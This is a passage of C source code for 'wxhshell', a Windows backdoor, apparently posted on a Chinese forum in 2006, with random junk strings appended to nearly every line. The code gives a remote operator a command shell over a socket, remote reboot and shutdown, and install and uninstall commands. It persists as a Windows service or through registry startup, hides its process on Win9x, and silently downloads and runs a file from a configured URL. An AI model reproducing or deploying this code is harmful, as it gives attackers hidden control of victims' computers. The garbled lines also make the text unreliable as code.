$]EG|]"Ns  
    switch(cmd[0]) { v+A$CGH96  
  V|xK vH  
  // 帮助 Q-fi(UP  
  case '?': { _3-nw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V6Ie\+@.\  
    break; U`sybtuBP'  
  } VU`aH9g3(  
  // 安装 ykc$B5*  
  case 'i': { yg\bCvL&  
    if(Install()) = 7pLU+ u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?it49  
    else )B.NV<m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lR_ 4iyqb  
    break; DZKVZ_q  
    } O?|opD  
  // 卸载 q\*",xZxwz  
  case 'r': { !fUrDOM0E  
    if(Uninstall()) ~.7r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y}%=:Yt  
    else Q`}1 B   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 52K_kB5  
    break; +[M5x[[$  
    } .w2X24Mmb  
  // 显示 wxhshell 所在路径 _!6~o>  
  case 'p': { OnFx8r:q@%  
    char svExeFile[MAX_PATH]; AHX_I  
    strcpy(svExeFile,"\n\r"); 4HEp}Y"}V  
      strcat(svExeFile,ExeFile); vk:@rOpl  
        send(wsh,svExeFile,strlen(svExeFile),0); rCqcl  
    break; M0g!"0?  
    } o\u31,  
  // 重启 \hv1"WaJ  
  case 'b': { 1c_qNI;:p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  Ub(zwR;  
    if(Boot(REBOOT)) a}eM ny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5#/" 0:2  
    else { G m40u/  
    closesocket(wsh); l@7X gsey  
    ExitThread(0); SFAh(+t  
    } @bU(z$eB  
    break; [Dd?c,5AD  
    } 10xo<@l  
  // 关机 <kIg>+  
  case 'd': { v]+,kbT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); } _Yk.@J5  
    if(Boot(SHUTDOWN)) SOQm>\U'i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 St`,Tq)  
    else { +Z[(s!  
    closesocket(wsh); _=@9XvNM  
    ExitThread(0); $$8xdv#  
    } f!2`N  
    break; w A<JJ_R  
    } L/9f"%kZ  
  // 获取shell gn"_()8cT  
  case 's': { S?*pCJ0  
    CmdShell(wsh); i)=!U>B_0  
    closesocket(wsh); >J>4g;Y  
    ExitThread(0); wjYwQ=y5  
    break; 6?OH"!b2-}  
  } H)aeS F5  
  // 退出 GPnd7}Tn  
  case 'x': { HT7V} UiaO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C(7uvQ  
    CloseIt(wsh); xb$eFiQ  
    break; +V*FFv  
    } Un\h[m  
  // 离开 /Y|oDfv  
  case 'q': { tkU"/$Vi\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QHnk@ R!  
    closesocket(wsh); ?h4-D:!$L  
    WSACleanup(); vQCRs!A  
    exit(1); F3[3~r  
    break; %m r  
        } AA34JVm]  
  } RbUBKMZ U  
  } +` g&J  
#UGm/4C  
  // 提示信息 ~L j[xP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A7@5lHMF  
} c`I`@Bed  
  } <EKDP>,~  
>!:uVS  
  return; 1MV\Jm  
} gf2<dEff  
ZVu&q{s,  
// shell模块句柄 .nX+!EXeS  
int CmdShell(SOCKET sock) PEZ~og:w  
{ lAuI?/E  
STARTUPINFO si; P_)h8-!+ $  
ZeroMemory(&si,sizeof(si)); mf]1mG})  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 513{oM:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |KFRC)g  
PROCESS_INFORMATION ProcessInfo; >en,MT|  
char cmdline[]="cmd"; T. nY>Q8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {X$8yy2zC5  
  return 0; g|_-O" l  
} Kj;gxYD>6  
HH/ bBM!  
// 自身启动模式 z;`o>Ja2  
int StartFromService(void) {~7V A  
{ KsI[  
typedef struct S;[g0j  
{ KMZ:$H  
  DWORD ExitStatus; gE8p**LT+  
  DWORD PebBaseAddress; VE{[52  
  DWORD AffinityMask; EJ&[I%jU  
  DWORD BasePriority; [U[saR\  
  ULONG UniqueProcessId; #x Z7%    
  ULONG InheritedFromUniqueProcessId; 'ms&ty*T  
}   PROCESS_BASIC_INFORMATION; Dl hb'*@  
apQ` l^  
PROCNTQSIP NtQueryInformationProcess; 7A@GN A  
0X =Yly*m@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C8i6ESmU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1B+uv0lA  
q]+'{Ci@  
  HANDLE             hProcess; Ru8k2d$B  
  PROCESS_BASIC_INFORMATION pbi; @KRr$k  
.T0w2Dv/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Stqlp<xy  
  if(NULL == hInst ) return 0; "i/ l'  
Ig*68M<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2:0'fNXop  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =jZ}@L/+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )Cl!,m)~  
:db:|=#T  
  if (!NtQueryInformationProcess) return 0; k@r%>Ul@  
_ S%3?Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `?)ivy>\:  
  if(!hProcess) return 0; kd^CZ;O  
o>lk+Q#L @  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  wc# #'u  
`!{m#BBT}  
  CloseHandle(hProcess); K~Lh'6  
R5=2EwrGP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A?I/[zkc  
if(hProcess==NULL) return 0; ,YzrqVY  
5*QNE!  
HMODULE hMod; w yi n  
char procName[255]; _(=[d  
unsigned long cbNeeded; 92g#QZs&W  
?g*#l d()  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3B|?{U~  
s"5f5Cn/Wh  
  CloseHandle(hProcess); Xk=bb267  
It.G-(  
if(strstr(procName,"services")) return 1; // 以服务启动 fW^\G2Fk  
NUH;\*]8s  
  return 0; // 注册表启动 ,{=pFs2  
} KDD_WXGt~  
zFVNb  
// 主模块 lt 74`9,f  
int StartWxhshell(LPSTR lpCmdLine) ()L[l@m  
{ &qfnCM0Y  
  SOCKET wsl; *3 .+19Q  
BOOL val=TRUE; 7 ,Tg>,%Q  
  int port=0; % \OG#36  
  struct sockaddr_in door; R_iQLBrd  
f4F13n_0X  
  if(wscfg.ws_autoins) Install(); wxw3t@%mNm  
hxcRFqX"  
port=atoi(lpCmdLine); 9 -7.4!]I  
IK~'ke  
if(port<=0) port=wscfg.ws_port; !bEy~.  
a(>oQG8F  
  WSADATA data; -yKx"Q9F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .ET@J`"M  
$kPC"!X\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >|h$d:~n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8BP.VxX  
  door.sin_family = AF_INET; Ak(_![Q:q\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {s^vAD<~x3  
  door.sin_port = htons(port); s~OGl PK  
uA]Z"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yk r5bS  
closesocket(wsl); g *}M;"  
return 1; Imi;EHW  
} |#hj O3  
GF(<!PC  
  if(listen(wsl,2) == INVALID_SOCKET) { 9X<o8^V  
closesocket(wsl); Z!\xVCG"q  
return 1; 8}9B*m  
} &fH;A X.  
  Wxhshell(wsl); f0UB? |  
  WSACleanup(); W$_}lE$  
p(B> N!:  
return 0; 1CS[%)-c  
3q +C8_:  
} a%R'x]  
M6yzqAh  
// 以NT服务方式启动 N>8p A)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z4+S4cqnh  
{ ce3w0UeV  
DWORD   status = 0; cWG>w6FI  
  DWORD   specificError = 0xfffffff; VRr_s:CWK  
h>jLhj<07W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wNzALfS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tu.Tvtudzj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p'# (^  
  serviceStatus.dwWin32ExitCode     = 0; rl#[HbPM  
  serviceStatus.dwServiceSpecificExitCode = 0; 46U?aHKW@|  
  serviceStatus.dwCheckPoint       = 0; "M e)'  
  serviceStatus.dwWaitHint       = 0; k 4|*t}o7  
G's >0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R.KqTEs<k  
  if (hServiceStatusHandle==0) return; <zmtVE*>g  
0#K?SuY.eN  
status = GetLastError(); ;%u'w;sgq  
  if (status!=NO_ERROR) +C`h*%BW  
{ +n#kpi'T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WJCh{Xn%*  
    serviceStatus.dwCheckPoint       = 0; 'FVh/};Y.D  
    serviceStatus.dwWaitHint       = 0; ^.']-XjC  
    serviceStatus.dwWin32ExitCode     = status; :Bk!YK  
    serviceStatus.dwServiceSpecificExitCode = specificError; v.eNWp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G-5wv  
    return; kVu8/*Q  
  } bwH l}3  
G8Hj<3`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ] T `6Hz!  
  serviceStatus.dwCheckPoint       = 0; JPeZZ13sS  
  serviceStatus.dwWaitHint       = 0; \2$-.npz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /$]#L%   
} p8yn? ~]^  
^Kvbpi,  
// 处理NT服务事件,比如:启动、停止 :`FL95  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iF.eBL%  
{ /]0-|Kg+R  
switch(fdwControl) )HLe8:PG~  
{ ?`& l Y  
case SERVICE_CONTROL_STOP: M]\p9p(_  
  serviceStatus.dwWin32ExitCode = 0; .uu[f2.N+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P F#X8+&J  
  serviceStatus.dwCheckPoint   = 0; (``EBEn  
  serviceStatus.dwWaitHint     = 0; -N'xQ(#n3q  
  { bf~gWzA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m(~5X0  
  } y^M ~zOe  
  return; -68E]O  
case SERVICE_CONTROL_PAUSE: xLUgbql-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F%Te0l  
  break; hXxgKi%  
case SERVICE_CONTROL_CONTINUE: q]1HCWde  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /jBjqE;_  
  break; wI\ n%#  
case SERVICE_CONTROL_INTERROGATE: YX||\  
  break; n veHLHvC7  
}; .=y-T=}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DA>_9o/l  
} L;wfTZa  
SZGeF;N  
// 标准应用程序主函数 D{b*,F:&@)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (X!?#)fyn  
{ ~ NO9s  
cmw2EHTT<  
// 获取操作系统版本 mkJC *45  
OsIsNt=GetOsVer(); v%mAU3M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ze%kP#c6!  
`RRC8]l  
  // 从命令行安装 #LP38 wE  
  if(strpbrk(lpCmdLine,"iI")) Install(); %Se@8d8  
6fP"I_c  
  // 下载执行文件 (%\vp**F  
if(wscfg.ws_downexe) { wUnz D)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SONv] ));  
  WinExec(wscfg.ws_filenam,SW_HIDE); \ C^fi}/]  
} n|G x29 E  
Y}G9(Ci&  
if(!OsIsNt) { /h/f&3'h  
// 如果时win9x,隐藏进程并且设置为注册表启动 +`;YK7o  
HideProc(); bnso+cA  
StartWxhshell(lpCmdLine); W(5et5DN,  
} `# N j8  
else tbx* }uy2  
  if(StartFromService()) ^h q?E2-  
  // 以服务方式启动 ,4RmT\%T  
  StartServiceCtrlDispatcher(DispatchTable); cba  
else 2`D1cX  
  // 普通方式启动 7d44i  
  StartWxhshell(lpCmdLine); Im7t8XCG  
RyI(6TZl  
return 0; 0?]Y^:  
}
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只看该作者 1 发表于: 2006-10-10
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